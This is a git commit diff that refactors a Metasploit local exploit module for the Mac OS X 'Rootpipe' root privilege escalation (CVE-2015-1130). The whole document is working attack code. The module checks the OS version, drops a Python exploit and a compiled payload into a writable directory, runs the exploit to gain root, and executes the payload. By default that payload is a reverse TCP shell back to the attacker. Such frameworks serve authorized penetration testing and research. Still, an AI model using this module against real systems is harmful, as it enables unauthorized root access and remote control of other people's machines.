Refactor and clean
Finally breaking free of some stubborn old habits. :)bug/bundler_fix
parent
a7601c1b9a
commit
41885133d8
|
@ -9,86 +9,96 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
|
||||
'Description' => %q{
|
||||
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a hidden backdoor API in Apple's Admin framework on
|
||||
OS X to escalate privileges to root. Dubbed "Rootpipe."
|
||||
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
|
||||
|
||||
Tested on Yosemite 10.10.2 and should work on previous versions.
|
||||
|
||||
The patch for this issue was not backported to older releases.
|
||||
},
|
||||
'Author' => [
|
||||
'Author' => [
|
||||
'Emil Kvarnhammar', # Vulnerability discovery and PoC
|
||||
'joev', # Copy/paste monkey
|
||||
'wvu' # Meta copy/paste monkey
|
||||
'joev', # Copy/paste monkey
|
||||
'wvu' # Meta copy/paste monkey
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2015-1130'],
|
||||
['EDB', '36692'],
|
||||
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
|
||||
'References' => [
|
||||
['CVE', '2015-1130'],
|
||||
['OSVDB', '114114'],
|
||||
['EDB', '36692'],
|
||||
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 9 2015',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [
|
||||
['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'SessionTypes' => ['shell'],
|
||||
'Targets' => [
|
||||
['Mac OS X 10.9-10.10.2', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
|
||||
'CMD' => '/bin/zsh'
|
||||
'CMD' => '/bin/zsh'
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
|
||||
OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
|
||||
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
if ver_between(osx_ver, '10.9', '10.10.2')
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
|
||||
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
|
||||
) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
|
||||
python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
|
||||
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
||||
exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||
payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||
|
||||
print_status("Writing exploit file as '#{exploit_file}'")
|
||||
print_status("Writing exploit to `#{exploit_file}'")
|
||||
write_file(exploit_file, python_exploit)
|
||||
register_file_for_cleanup(exploit_file)
|
||||
|
||||
print_status("Writing payload file as '#{payload_file}'")
|
||||
print_status("Writing payload to `#{payload_file}'")
|
||||
write_file(payload_file, binary_payload)
|
||||
register_file_for_cleanup(payload_file)
|
||||
|
||||
print_status('Executing exploit...')
|
||||
cmd_exec(sploit)
|
||||
print_status('Executing payload...')
|
||||
cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
|
||||
cmd_exec(payload_file)
|
||||
end
|
||||
|
||||
def osx_ver
|
||||
cmd_exec('sw_vers -productVersion').to_s.strip
|
||||
def sploit
|
||||
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
|
||||
end
|
||||
|
||||
def ver_between(a, b, c)
|
||||
Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
|
||||
def python_exploit
|
||||
File.read(File.join(
|
||||
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
|
||||
))
|
||||
end
|
||||
|
||||
def binary_payload
|
||||
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
||||
end
|
||||
|
||||
def exploit_file
|
||||
@exploit_file ||=
|
||||
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
||||
end
|
||||
|
||||
def payload_file
|
||||
@payload_file ||=
|
||||
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue